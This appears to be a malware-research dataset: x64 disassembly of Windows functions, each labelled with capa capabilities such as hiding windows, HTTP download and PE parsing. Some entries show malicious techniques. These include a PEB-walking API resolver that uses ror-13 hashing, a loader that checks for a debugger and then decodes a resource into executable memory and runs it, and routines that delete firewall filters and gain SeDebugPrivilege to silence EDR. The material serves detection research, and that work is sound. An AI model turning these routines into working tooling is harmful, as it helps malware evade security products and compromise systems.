joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6a82f0
Capabilities:
Hide graphical window from taskbar

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
mov esi, edx
cmp sil, byte [rbx + 0x193]
je 0x6a84b5
mov byte [rbx + 0x193], sil
mov rax, qword [rbx + 0xa8]
test rax, rax
je 0x6a841d
mov rcx, rax
call fcn.005d4080
test al, al
je 0x6a841d
mov rax, qword [rbx + 0xa8]
movzx rax, word [rax + 0x34]
test ax, 0x10
jne 0x6a841d
mov rax, qword [rbx + 0xa8]
movzx rax, word [rax + 0x34]
test ax, 2
jne 0x6a841d
test sil, sil
je 0x6a839c
mov rcx, qword [rbx + 0x2e0]
xor edx, edx
xor r8, r8
call fcn.00690cc0
mov rcx, qword [rbx + 0xa8]
call fcn.005d3a10
mov rcx, rax
mov dl, 1
mov rax, qword [rbx + 0xa8]
movzx r8, byte [rax + 0xa9]
call fcn.00690cc0
jmp 0x6a8406
call sub.user32.dll_GetForegroundWindow
mov rdi, rax
mov rcx, qword [rbx + 0xa8]
call fcn.005d3a10
cmp rdi, rax
sete dil
mov rcx, qword [rbx + 0xa8]
call fcn.005d3a10
mov rcx, rax
xor edx, edx
mov rax, qword [rbx + 0xa8]
movzx r8, byte [rax + 0xa9]
call fcn.00690cc0
mov rcx, qword [rbx + 0x2e0]
mov dl, 1
mov r8b, 1
call fcn.00690cc0
test dil, dil
je 0x6a8406
mov rcx, qword [rbx + 0xa8]
call fcn.005d3a10
mov rcx, rax
call sub.user32.dll_SetForegroundWindow
mov rcx, qword [rbx + 0xa8]
mov edx, 0xb033
xor r8, r8
xor r9, r9
call fcn.005c7480
test sil, sil
je 0x6a8463
mov rcx, qword [rbx + 0x2e0]
mov rax, rcx
mov rsi, rcx
mov rcx, rax
mov edx, 0xffffffec
call sub.user32.dll_GetWindowLongPtrW
or rax, 0x80
mov rcx, rsi
mov edx, 0xffffffec
mov r8, rax
call sub.user32.dll_SetWindowLongPtrW
mov rcx, qword [rbx + 0x2e0]
xor edx, edx
call sub.user32.dll_SetWindowTextW
jmp 0x6a84b5
mov rcx, qword [rbx + 0x2e0]
mov rax, rcx
mov rsi, rcx
mov rcx, rax
mov edx, 0xffffffec
call sub.user32.dll_GetWindowLongPtrW
and rax, 0xffffffffffffff7f
mov rcx, rsi
mov edx, 0xffffffec
mov r8, rax
call sub.user32.dll_SetWindowLongPtrW
mov rsi, qword [rbx + 0x2e0]
mov rax, qword [rbx + 0x118]
mov rcx, rax
call fcn.00411060
mov rcx, rsi
mov rdx, rax
call sub.user32.dll_SetWindowTextW
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x6b32e0
Capabilities:
Hide graphical window

Disassembly:
push r13
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
cmp qword [rbx + 0xd0], 0
jne 0x6b339b
mov rcx, qword [rbx + 0x10]
call fcn.005d3a10
mov rcx, qword [0x005e7038]
mov dl, 1
mov r8, rax
call fcn.005ca640
mov qword [rbx + 0xd0], rax
mov rsi, qword [rbx + 0xd0]
mov rcx, rsi
xor edx, edx
call fcn.005ef060
lea rax, [rsi + 0x4d8]
mov qword [rax + 8], rbx
lea rcx, [0x006b2960]
mov qword [rax], rcx
mov rcx, qword [rbx + 0xd0]
call fcn.005d3a10
mov rdi, rax
mov rcx, rsi
mov edx, 3
mov rax, qword [rsi]
call qword [rax + 0x1c0]
mov rcx, rdi
xor edx, edx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xd0]
call fcn.005d3a10
mov rcx, rax
xor edx, edx
call sub.user32.dll_ShowWindow
cmp qword [rbx + 0xf0], 0
jne 0x6b344a
mov rcx, qword [rbx + 0x10]
call fcn.005d3a10
mov rcx, qword [0x005e7038]
mov dl, 1
mov r8, rax
call fcn.005ca640
mov qword [rbx + 0xf0], rax
mov rsi, qword [rbx + 0xf0]
mov rcx, rsi
mov dl, 1
call fcn.005ef060
lea rax, [rsi + 0x4d8]
mov qword [rax + 8], rbx
lea rcx, [0x006b29c0]
mov qword [rax], rcx
mov rcx, qword [rbx + 0xf0]
call fcn.005d3a10
mov rdi, rax
mov rcx, rsi
mov edx, 2
mov rax, qword [rsi]
call qword [rax + 0x1c0]
mov rcx, rdi
xor edx, edx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xf0]
call fcn.005d3a10
mov rcx, rax
xor edx, edx
call sub.user32.dll_ShowWindow
cmp qword [rbx + 0xe0], 0
jne 0x6b34f2
mov rcx, qword [rbx + 0x10]
call fcn.005d3a10
mov rcx, qword [0x005e80e0]
mov dl, 1
mov r8, rax
call fcn.005ca640
mov qword [rbx + 0xe0], rax
mov rsi, qword [rbx + 0xe0]
mov byte [rsi + 0x4a8], 1
mov rcx, qword [rbx + 0xe0]
call fcn.005d3a10
mov rdi, rax
mov rcx, rsi
mov edx, 2
mov rax, qword [rsi]
call qword [rax + 0x1c0]
mov r13d, eax
mov rcx, rsi
mov edx, 3
mov rax, qword [rsi]
call qword [rax + 0x1c0]
mov rcx, rdi
xor edx, edx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], r13d
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xe0]
call fcn.005d3a10
mov rcx, rax
xor edx, edx
call sub.user32.dll_ShowWindow
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop r13
ret
Function at 0x6bd230
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
sub rsp, 0x460
mov rbp, rsp
mov qword [rbp + 0x38], rbp
mov qword [rbp + 0x470], rcx
mov qword [rbp + 0x478], rdx
mov qword [rbp + 0x480], r8
mov rcx, qword [rbp + 0x478]
call fcn.0040fe60
mov rcx, qword [rbp + 0x480]
call fcn.0040fe60
nop
mov byte [rbp + 0x447], 0
lea rcx, [0x006bd430]
mov edx, 1
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
call sub.wininet.dll_InternetOpenW
mov qword [rbp + 0x448], rax
cmp qword [rbp + 0x448], 0
je 0x6bd38a
nop
mov rcx, qword [rbp + 0x478]
call fcn.00411060
mov rcx, qword [rbp + 0x448]
mov rdx, rax
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x28], 0
call sub.wininet.dll_InternetOpenUrlW
mov qword [rbp + 0x450], rax
cmp qword [rbp + 0x450], 0
je 0x6bd37d
nop
mov rcx, qword [0x004c7dd0]
mov dl, 1
mov r8, qword [rbp + 0x480]
mov r9w, 0xff00
call fcn.00503b10
mov qword [rbp + 0x458], rax
nop
mov rcx, qword [rbp + 0x450]
lea rdx, [rbp + 0x40]
mov r8d, 0x400
lea r9, [rbp + 0x440]
call sub.wininet.dll_InternetReadFile
test eax, eax
je 0x6bd353
mov rcx, qword [rbp + 0x458]
lea rdx, [rbp + 0x40]
mov r8d, dword [rbp + 0x440]
mov rax, qword [rbp + 0x458]
mov rax, qword [rax]
call qword [rax + 0x20]
cmp dword [rbp + 0x440], 0
jne 0x6bd313
mov byte [rbp + 0x447], 1
nop
mov rcx, qword [rbp + 0x458]
call fcn.0040caa0
nop
mov rcx, qword [rbp + 0x450]
call sub.wininet.dll_InternetCloseHandle
nop
mov rcx, qword [rbp + 0x448]
call sub.wininet.dll_InternetCloseHandle
nop
lea rcx, [rbp + 0x478]
mov edx, 2
call fcn.0040fd70
movzx rax, byte [rbp + 0x447]
lea rsp, [rbp + 0x460]
pop rbp
ret
Function at 0x14001121c
Capabilities:
Terminate process

Disassembly:
jmp 0x1400138c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014c10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014c30
xor al, al
jmp 0x140014cb1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014c43
xor al, al
jmp 0x140014cb1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014c6d
xor al, al
jmp 0x140014cb1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014c81
xor al, al
jmp 0x140014cb1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014c93
xor al, al
jmp 0x140014cb1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014caf
xor al, al
jmp 0x140014cb1
mov al, 1
add rsp, 0x38
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001070
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400010a4
mov eax, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001620
add rsp, 0x58
ret
mov edx, 0x65
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
xor ecx, ecx
mov qword [rsp + 0x50], rdi
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x1400010d8
lea rcx, str.hRsrc_is_null
call fcn.140001010
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x1400010f7
lea rcx, str.hGlobal_is_null
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
jne 0x140001114
lea rcx, str.pResourceAddress_is_null
call fcn.140001010
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
jne 0x140001131
lea rcx, str.sResourceSize_is_null
call fcn.140001010
xor ebx, ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x38]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x30]
call fcn.140001520
mov edx, eax
lea rcx, [0x1400032c8]
call fcn.140001010
mov rcx, qword [rsp + 0x30]
mov r8, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [rsp + 0x30]
mov edx, 0x84c
mov rsi, qword [rsp + 0x68]
nop word [rax + rax]
movzx eax, byte [r8 + rdx - 0x84c]
lea rdx, [rdx + 1]
movzx ecx, al
inc ebx
and cl, 0xc5
or al, 0xc5
not cl
and cl, al
movsxd rax, ebx
not cl
mov byte [r8 + rdx - 0x84d], cl
cmp rax, rdi
jb 0x1400011a0
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
call qword [rsp + 0x30]
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001620
add rsp, 0x58
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000c840]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000c850]
mov dword [rax], 1
mov rax, qword [0x14000c860]
mov dword [rax], 1
mov rax, qword [0x14000c7e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000c830]
mov dword [0x14000f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000c910]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000c8f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000c790]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400023f6
Capabilities:
Delete network filter via wfp api

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov dword [rbp - 4], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0xffffffff
mov ecx, 0
call sym.FwpmEngineOpen0
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x140002464
mov eax, dword [rbp - 4]
mov edx, eax
lea rcx, str.____FwpmEngineOpen0_failed_with_error_code:_0x_x_n
call sym.printf
jmp 0x140002521
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call sym.FwpmFilterDeleteById0
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x14000248f
mov rdx, qword [rbp + 0x10]
lea rcx, str.Deleted_filter_id:__llu._n
call sym.printf
jmp 0x1400024bc
cmp dword [rbp - 4], 0x80320003
jne 0x1400024a6
lea rcx, str.____The_filter_does_not_exist._n
call sym.printf
jmp 0x1400024bc
mov eax, dword [rbp - 4]
mov r8d, eax
mov rdx, qword [rbp + 0x10]
lea rcx, str.____Failed_to_delete_filter_id:__llu_with_error_code:_0x_x._n
call sym.printf
mov rax, qword [str.Microsoft_Windows_WFP_Built_in_custom_provider.]
lea rdx, [rbp - 0x20]
mov rcx, rax
call sym.GetProviderGUIDByDescription
test eax, eax
je 0x140002514
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x20]
mov rcx, rax
call sym.FwpmProviderDeleteByKey0
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x140002508
cmp dword [rbp - 4], 0x8032000a
je 0x140002514
mov eax, dword [rbp - 4]
mov edx, eax
lea rcx, str.____FwpmProviderDeleteByKey0_failed_with_error_code:_0x_x_n
call sym.printf
jmp 0x140002514
lea rcx, str.Deleted_custom_WFP_provider._n
call sym.printf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.FwpmEngineClose0
nop
add rsp, 0x50
pop rbp
ret
Function at 0x140002b18
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 8], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
lea rdx, [rbp - 8]
mov r9, rdx
mov r8d, 1
mov edx, 0x28
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
call rax
test eax, eax
jne 0x140002bda
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0x3f0
je 0x140002b94
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____OpenThreadToken_failed_with_error_code:_0x_x_n
call sym.printf_1
mov eax, 0
jmp 0x140002ceb
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 8]
mov r8, rdx
mov edx, 0x28
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
jne 0x140002bda
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____OpenProcessToken_failed_with_error_code:_0x_x_n
call sym.printf_1
mov eax, 0
jmp 0x140002ceb
lea rax, [rbp - 0x20]
add rax, 4
mov r8, rax
lea rdx, str.SeDebugPrivilege
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
call rax
test eax, eax
jne 0x140002c2f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____LookupPrivilegeValueA_failed_with_error_code:_0x_x_n
call sym.printf_1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002ceb
mov dword [rbp - 0x20], 1
mov dword [rbp - 0x14], 2
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call rax
test eax, eax
jne 0x140002ca3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.____AdjustTokenPrivileges_failed_with_error_code:_0x_x_n
call sym.printf_1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002ceb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0x514
jne 0x140002cd6
lea rcx, str.____Failed_to_get_SeDebugPrivilege._You_might_not_be_able_to_get_the_process_handle_of_the_EDR_process._n
call sym.printf_1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002ceb
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
add rsp, 0x50
pop rbp
ret

Function at 0x140003030
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x1400030a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000f194]
mov r12, rcx
test ebx, ebx
jle 0x1400031d0
mov rax, qword [0x14000f198]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1400030ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140003173
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1400030d0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x1400031f2
mov rax, qword [0x14000f198]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000f198]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400031d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000316c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003180
add dword [0x14000f194], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000f198]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000316c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x1400030f7
mov rax, qword [0x14000f198]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003770
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000f200]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f1e0]
test rbx, rbx
je 0x1400037c4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400037bb
test r12, r12
je 0x1400037bb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400037a0
lea rcx, [0x14000f200]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400039e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400039f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140003a00
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140003a10
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140003a5c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x140003a53
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x140003a5e
add rax, 0x28
cmp rax, r9
jne 0x140003a40
xor eax, eax
ret

Function at 0x140003a60
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140003af0
mov rdx, qword [0x14000c7e0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x140003ade
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140003ade
cmp word [rax + 0x18], 0x20b
jne 0x140003ade
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140003af0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140003ac9
add r12, 0x28
cmp r12, rsi
je 0x140003af0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140003ac0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x140003b00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000c7e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003b20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003b28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003b20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140003b75
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003b6c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003b20
add rax, 0x28
cmp rax, r9
jne 0x140003b58
xor eax, eax
ret

Function at 0x140003b80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c7e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140003ba0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003ba8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003ba0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140003bc0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000c7e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140003be0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140003be8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140003be0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140003c28
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140003c1f
test rcx, rcx
je 0x140003be0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140003c10
xor eax, eax
ret